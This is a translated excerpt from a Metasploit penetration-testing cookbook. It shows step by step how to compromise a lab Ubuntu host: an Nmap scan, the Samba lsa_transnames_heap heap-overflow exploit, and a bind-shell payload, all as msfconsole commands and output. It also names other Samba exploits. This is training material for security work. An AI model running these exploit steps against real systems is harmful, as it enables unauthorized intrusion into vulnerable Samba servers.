《Metasploit渗透测试手册》—第3章3.7节 对Linux(Ubuntu)机器进行攻击渗透

简介:

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.7节 对Linux(Ubuntu)机器进行攻击渗透,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

3.7 对Linux(Ubuntu)机器进行攻击渗透
Metasploit渗透测试手册
Linux是继Windows之后应用广泛的操作系统之一,在前面几节中,我们介绍了怎样通过可用服务中的漏洞对Windows机器进行渗透,本节将关注Linux操作系统漏洞,示例针对的是Ubuntu 9,工作过程和任何其他运行Samba服务的Linux、Solaris操作系统一样。

准备
首先对Linux目标机器进行扫描,收集可用服务信息。使用Nmap进行快速扫描并分析其结果。

msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101
Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) |_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) 
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/)

收集到目标相关的信息后,为其选择漏洞利用代码和合适的攻击载荷。

怎样实现
对Linux机器的渗透过程与Windows类似,采用如下步骤。

(1)主要任务是选择正确的漏洞利用代码和攻击载荷,可以在Metasploit目录中搜索可用的Samba漏洞利用代码。

msf > search Samba
(2)该命令将返回各种有关Samba的辅助模块和漏洞利用代码模块列表,选择使用的是评级为good的exploit/linux/samba/lsa_transnames_heap漏洞利用代码模块,因为该模块对目标攻击渗透的成功率较高。下面的命令将该模块设置为活跃状态,并设置必要的参数。

msf > use exploit/linux/samba/lsa_transnames_heap
msf  exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                      yes      The target address
   RPORT    445               yes      Set the SMB service port
   SMBPIPE  LSARPC            yes      The pipe name to use
Exploit target:
   Id  Name
   --  ----
   0   Linux vsyscall
msf  exploit(lsa_transnames_heap) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf  exploit(lsa_transnames_heap) >

(3)接下来选择合适的攻击载荷,要记住的是,我们的目标是Linux机器,因此必须选择Linux攻击载荷。选择使用的是linux/x86/shell_bind_tcp payload,其工作原理与前面分析过的Windows攻击载荷bind_tcp类似。

msf  exploit(lsa_transnames_heap) > set payload linux/x86/shell_
bind_tcp 
payload => linux/x86/shell_bind_tcp
msf  exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.101    yes      The target address
   RPORT    445               yes      Set the SMB service port
   SMBPIPE  LSARPC            yes      The pipe name to use
Payload options (linux/x86/shell_bind_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444               yes      The listen port
   RHOST  192.168.56.101     no       The target address
(4)各种选项已设置完毕,最后使用exploit命令进行攻击渗透过程。

msf  exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

漏洞利用代码成功执行后,将建立攻击方机器到目标方机器的shell连接,这一过程与前面章节中讨论的过程非常类似,唯一的差别在于选择的漏洞利用代码和攻击载荷不同。尝试的漏洞利用代码和攻击载荷的组合越多,对这些概念的理解就会越好。

怎样工作
下面对Samba服务及其工作机理、漏洞利用原理进行一个快速介绍。Samba用于在Linux和Windows机器之间进行打印和文件共享。本漏洞利用模块激发Samba守护进程的LSA RPC服务中的堆溢出漏洞,并使用talloc chunk重写方法(credit Ramon and Adriano),该方法只适用在Samba 3.0.21-3.0.24版本。该漏洞利用代码利用了堆中动态内存分配的优势。第一次利用该漏洞时会出现失败的情况,因此可以多次尝试。

更多
下面介绍其他一些与Linux操作系统相关的漏洞利用模块。

其他与Linux相关的漏洞利用模块
除了本节讨论的漏洞利用模块之外,还有两个模块值得注意。强烈建议读者尝试这两个漏洞利用模块以便加深理解。

Samba chain_reply内存损坏漏洞:该漏洞利用代码会损坏Samba 3.3.13以前版本中分配给响应数据包的内存,可通过传递超过目标缓冲区大小的值实现。

Samba trans2open溢出:这是Samba2.2.0版本到2.2.8版本中普遍存在的一个缓冲区溢出漏洞,其工作原理是利用没有noexec栈选项的x86 Linux机器中的漏洞。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

相关文章
|
9月前
|
SQL 安全 Linux
Metasploit Pro 4.22.8-20251014 (Linux, Windows) - 专业渗透测试框架
Metasploit Pro 4.22.8-20251014 (Linux, Windows) - 专业渗透测试框架
462 1
Metasploit Pro 4.22.8-20251014 (Linux, Windows) - 专业渗透测试框架
|
9月前
|
Linux 网络安全 iOS开发
Metasploit Framework 6.4.95 (macOS, Linux, Windows) - 开源渗透测试框架
Metasploit Framework 6.4.95 (macOS, Linux, Windows) - 开源渗透测试框架
1056 1
Metasploit Framework 6.4.95 (macOS, Linux, Windows) - 开源渗透测试框架
|
10月前
|
安全 Linux 网络安全
Metasploit Pro 4.22.8-2025091701 (Linux, Windows) - 专业渗透测试框架
Metasploit Pro 4.22.8-2025091701 (Linux, Windows) - 专业渗透测试框架
535 2
Metasploit Pro 4.22.8-2025091701 (Linux, Windows) - 专业渗透测试框架
|
10月前
|
Linux 网络安全 iOS开发
Metasploit Framework 6.4.90 (macOS, Linux, Windows) - 开源渗透测试框架
Metasploit Framework 6.4.90 (macOS, Linux, Windows) - 开源渗透测试框架
602 1
Metasploit Framework 6.4.90 (macOS, Linux, Windows) - 开源渗透测试框架
|
10月前
|
安全 Linux 网络安全
Metasploit Framework 6.4.88 (macOS, Linux, Windows) - 开源渗透测试框架
Metasploit Framework 6.4.88 (macOS, Linux, Windows) - 开源渗透测试框架
708 0
|
10月前
|
存储 安全 Linux
Kali Linux 2025.3 发布 (Vagrant & Nexmon) - 领先的渗透测试发行版
Kali Linux 2025.3 发布 (Vagrant & Nexmon) - 领先的渗透测试发行版
896 0
|
10月前
|
缓存 安全 Linux
Metasploit Pro 4.22.8-2025082101 (Linux, Windows) - 专业渗透测试框架
Metasploit Pro 4.22.8-2025082101 (Linux, Windows) - 专业渗透测试框架
340 0
|
Linux
LINUX给机器改名
LINUX给机器改名
197 0
|
Linux
LINUX给机器改名
LINUX给机器改名
232 0
|
10月前
|
Linux 应用服务中间件 Shell
二、Linux文本处理与文件操作核心命令
熟悉了Linux的基本“行走”后,就该拿起真正的“工具”干活了。用grep这个“放大镜”在文件里搜索内容,用find这个“探测器”在系统中寻找文件,再用tar把东西打包带走。最关键的是要学会使用管道符|,它像一条流水线,能把这些命令串联起来,让简单工具组合出强大的功能,比如 ps -ef | grep 'nginx' 就能快速找出nginx进程。
1032 1
二、Linux文本处理与文件操作核心命令